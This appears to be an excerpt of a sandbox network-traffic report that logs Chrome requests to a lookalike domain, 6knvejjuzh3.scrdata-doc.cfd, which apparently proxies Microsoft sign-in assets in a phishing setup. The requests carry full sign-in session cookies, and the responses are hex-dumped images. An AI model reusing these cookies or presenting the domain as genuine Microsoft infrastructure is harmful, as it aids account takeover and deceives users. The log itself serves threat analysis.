2024-04-26 12:37:56 UTC	628	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 6d 94 4d 6f db 30 0c 86 ff 8a e1 5d 25 46 d4 97 a5 36 09 90 9d 72 58 af 3b f4 e6 26 69 1d c0 5d 8b 26 48 5a 0c fd ef 23 25 ba cb d6 42 f1 e3 98 34 c5 57 24 93 f9 e1 f4 d0 bc 3e 8e bf 0e 8b 76 38 1e 9f af 66 b3 f3 f9 0c 67 07 4f 2f 0f 33 6b 8c 99 d1 1b 6d 73 de 6f 8f c3 a2 f5 a9 6d 86 dd fe 61 38 d6 ef a7 fd ee fc fd e9 75 d1 9a c6 34 3e d1 a7 5d ce b7 bb fb c3 72 7e 38 be 8d bb 25 f4 bf ef f7 e3 78 f5 6d 17 79 5d bf c3 9d 18 bc e1 75 fd 3e 9f d5 37 e7 b3 1a b7 d9 bf 6c c6 5d b3 19 fb 03 69 ea db 66 43 db 5b 4f f7 b7 7a 7f 29 b7 d9 72 fe dc 1f 87 e9 bd bb b6 d9 2e da 1b 67 21 28 f4 2b 04 9f ad aa 34 b4 50 39 af 30 40 f8 e9 12 84 e2 f6 aa 52 dc 1c e8 cd a0 b1 fb c2 8b 5e 71 dc 49 5b f7 95 37 94 a4 83 87 d4 b9 51 3b 1d 07 0b 36 Data Ascii: mMo0]%F6rX;&i]&HZ#%B4W$>v8fgO/3kmsoma8u4>]r~8%xmy]u>7l]ifC[Oz)r.g!(+4P90@R^qI[7Q;6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49780	2.58.15.240	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:55 UTC	2812	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/picker_account_msa_2d8f86059be176833897099ee6ddedeb.svg HTTP/1.1 Host: 6knvejjuzh3.scrdata-doc.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
2024-04-26 12:37:56 UTC	779	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 12:37:56 GMT Content-Type: image/svg+xml Content-Length: 254 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:39 GMT ETag: 0x8D79B8374511AB4 x-ms-request-id: 5fd69550-501e-0057-33d6-9757a3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T123756Z-17859dc676bb8s4lhun1d1qg1g000000049000000000gpx8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-26 12:37:56 UTC	254	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 6d 50 cb 6e c3 20 10 fc 15 44 af 78 59 30 06 5c d9 96 d2 7b 7f 20 37 cb a1 06 c9 79 c8 46 21 fd fb 9a 90 f6 54 0d 9a 59 98 59 ad 96 6e bb cf e4 71 5e 2e 5b 4f 7d 8c b7 77 ce 53 4a 90 6a b8 ae 33 97 88 c8 f7 04 25 29 9c a2 ef a9 b2 94 78 17 66 1f 4b 7d 0f 2e 7d 5c 1f 3d 45 82 44 d9 fd d0 a1 8b 21 2e 6e 18 b7 cd c5 ad e3 e5 d6 4d 61 9d 16 47 a6 3d 2b 15 25 d3 77 d1 b5 c8 57 58 96 9e be 39 9d 41 f9 d0 dd c6 e8 c9 a9 a7 9f a2 06 a5 58 ad bd 80 56 8e 16 b4 62 4f 42 26 32 0c 48 cb b0 98 02 a1 31 35 7b 09 66 54 1a 1a dd 56 2d 18 23 98 01 6d 0b e5 66 ac 0c b4 56 32 3c fc d3 c7 7e c7 1e cf 0a 6c 25 34 d4 f2 d0 80 d1 ec 49 65 b8 54 4c 36 39 96 df f4 8b b1 98 16 76 57 b4 fb b0 e3 df 76 0a 33 f2 76 f9 4f 87 1f 7d d7 81 14 7b 01 00 00 Data Ascii: mPn DxY0\{ 7yF!TYYnq^.[O}wSJj3%)xfK}.}\=ED!.nMaG=+%wWX9AXVbOB&2H15{fTV-#mfV2<~l%4IeTL69vWv3vO}{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49784	2.58.15.240	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:58 UTC	1714	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_white_166de53471265253ab3a456defe6da23.gif HTTP/1.1 Host: 6knvejjuzh3.scrdata-doc.cfd Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
2024-04-26 12:37:59 UTC	755	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 12:37:59 GMT Content-Type: image/gif Content-Length: 2672 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 17 Jan 2020 19:28:37 GMT ETag: 0x8D79B83739984DD x-ms-request-id: 6a7cf7d3-d01e-0027-7bd6-97a5a3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T123759Z-17859dc676bfz85v02x7r4cbb400000004rg00000001a5gt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-26 12:37:59 UTC	2672	IN	Data Raw: 47 49 46 38 39 61 60 01 03 00 f0 00 00 ff ff ff 96 96 96 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 06 00 00 00 30 00 03 00 00 02 1a 8c 01 16 88 ca ec 1e 3c f2 a9 18 1b b5 5b e6 9a 5c 4b 38 6a e5 74 72 a9 67 14 00 21 f9 04 09 03 00 00 00 2c 07 00 00 00 33 00 03 00 00 02 1a 8c 81 16 c8 ca ef 5e 3b 12 2a 0a e2 5c 55 4b df 5d 5c 86 25 e5 56 99 63 aa 14 00 21 f9 04 09 05 00 00 00 2c 0a 00 00 00 37 00 03 00 00 02 1a 8c 81 60 91 b9 ed 0e 6c 6f c6 c5 ee ac 90 5b bf 61 19 02 2a 52 77 7e 69 18 14 00 21 Data Ascii: GIF89a`!NETSCAPE2.0!,`6PlHI:qJk`BYL&!,0<[\K8jtrg!,3^;\UK]\%Vc!,7`lo[a*Rw~i!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49783	2.58.15.240	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:58 UTC	1708	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_b540a8e518037192e32c4fe58bf2dbab.gif HTTP/1.1 Host: 6knvejjuzh3.scrdata-doc.cfd Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
2024-04-26 12:37:59 UTC	755	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 12:37:59 GMT Content-Type: image/gif Content-Length: 3620 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 17 Jan 2020 19:28:38 GMT ETag: 0x8D79B8373B17F89 x-ms-request-id: 0c7e2cf6-b01e-0021-0cd6-975faf000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T123759Z-17949d75874brq7kksx603np280000000ax0000000007ufu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-26 12:37:59 UTC	3620	IN	Data Raw: 47 49 46 38 39 61 60 01 03 00 f0 00 00 00 00 00 69 69 69 21 f9 04 09 05 00 00 00 21 fe 26 45 64 69 74 65 64 20 77 69 74 68 20 65 7a 67 69 66 2e 63 6f 6d 20 6f 6e 6c 69 6e 65 20 47 49 46 20 6d 61 6b 65 72 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 1f 69 19 07 ec 96 8a b2 51 34 af de bc fb 0f 86 e2 48 96 e6 89 a6 6a 0a 3d 99 6b 39 2d 35 5f f5 8a e7 fa ce f7 fe 0f 8c b4 6a 37 98 a6 28 7b 05 97 cc a6 f3 09 d5 15 00 00 21 f9 04 09 03 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 0f Data Ascii: GIF89a`iii!!&Edited with ezgif.com online GIF maker!NETSCAPE2.0,`6PlHI:qJk`BYL*&!,`9iQ4Hj=k9-5_j7({!,`9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49785	2.58.15.240	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:59 UTC	1713	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/picker_account_aad_f83ebff69a4a1685e4dc9650cdab8886.svg HTTP/1.1 Host: 6knvejjuzh3.scrdata-doc.cfd Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
2024-04-26 12:37:59 UTC	799	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 12:37:59 GMT Content-Type: image/svg+xml Content-Length: 628 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Sat, 31 Oct 2020 02:21:09 GMT ETag: 0x8D87D43A145A2CC x-ms-request-id: 16c431a0-e01e-0010-2fd6-9755bc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T123759Z-17949d75874z8nm2cwhwpx64cw0000000aug000000005ev4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-04-26 12:37:59 UTC	628	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 6d 94 4d 6f db 30 0c 86 ff 8a e1 5d 25 46 d4 97 a5 36 09 90 9d 72 58 af 3b f4 e6 26 69 1d c0 5d 8b 26 48 5a 0c fd ef 23 25 ba cb d6 42 f1 e3 98 34 c5 57 24 93 f9 e1 f4 d0 bc 3e 8e bf 0e 8b 76 38 1e 9f af 66 b3 f3 f9 0c 67 07 4f 2f 0f 33 6b 8c 99 d1 1b 6d 73 de 6f 8f c3 a2 f5 a9 6d 86 dd fe 61 38 d6 ef a7 fd ee fc fd e9 75 d1 9a c6 34 3e d1 a7 5d ce b7 bb fb c3 72 7e 38 be 8d bb 25 f4 bf ef f7 e3 78 f5 6d 17 79 5d bf c3 9d 18 bc e1 75 fd 3e 9f d5 37 e7 b3 1a b7 d9 bf 6c c6 5d b3 19 fb 03 69 ea db 66 43 db 5b 4f f7 b7 7a 7f 29 b7 d9 72 fe dc 1f 87 e9 bd bb b6 d9 2e da 1b 67 21 28 f4 2b 04 9f ad aa 34 b4 50 39 af 30 40 f8 e9 12 84 e2 f6 aa 52 dc 1c e8 cd a0 b1 fb c2 8b 5e 71 dc 49 5b f7 95 37 94 a4 83 87 d4 b9 51 3b 1d 07 0b 36 Data Ascii: mMo0]%F6rX;&i]&HZ#%B4W$>v8fgO/3kmsoma8u4>]r~8%xmy]u>7l]ifC[Oz)r.g!(+4P90@R^qI[7Q;6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49786	2.58.15.240	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:59 UTC	1713	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/picker_account_msa_2d8f86059be176833897099ee6ddedeb.svg HTTP/1.1 Host: 6knvejjuzh3.scrdata-doc.cfd Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
2024-04-26 12:37:59 UTC	799	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 12:37:59 GMT Content-Type: image/svg+xml Content-Length: 254 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:39 GMT ETag: 0x8D79B8374511AB4 x-ms-request-id: 5fd69550-501e-0057-33d6-9757a3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T123759Z-17859dc676bjbds6awycqa79bg00000001n0000000010pxa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-26 12:37:59 UTC	254	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 6d 50 cb 6e c3 20 10 fc 15 44 af 78 59 30 06 5c d9 96 d2 7b 7f 20 37 cb a1 06 c9 79 c8 46 21 fd fb 9a 90 f6 54 0d 9a 59 98 59 ad 96 6e bb cf e4 71 5e 2e 5b 4f 7d 8c b7 77 ce 53 4a 90 6a b8 ae 33 97 88 c8 f7 04 25 29 9c a2 ef a9 b2 94 78 17 66 1f 4b 7d 0f 2e 7d 5c 1f 3d 45 82 44 d9 fd d0 a1 8b 21 2e 6e 18 b7 cd c5 ad e3 e5 d6 4d 61 9d 16 47 a6 3d 2b 15 25 d3 77 d1 b5 c8 57 58 96 9e be 39 9d 41 f9 d0 dd c6 e8 c9 a9 a7 9f a2 06 a5 58 ad bd 80 56 8e 16 b4 62 4f 42 26 32 0c 48 cb b0 98 02 a1 31 35 7b 09 66 54 1a 1a dd 56 2d 18 23 98 01 6d 0b e5 66 ac 0c b4 56 32 3c fc d3 c7 7e c7 1e cf 0a 6c 25 34 d4 f2 d0 80 d1 ec 49 65 b8 54 4c 36 39 96 df f4 8b b1 98 16 76 57 b4 fb b0 e3 df 76 0a 33 f2 76 f9 4f 87 1f 7d d7 81 14 7b 01 00 00 Data Ascii: mPn DxY0\{ 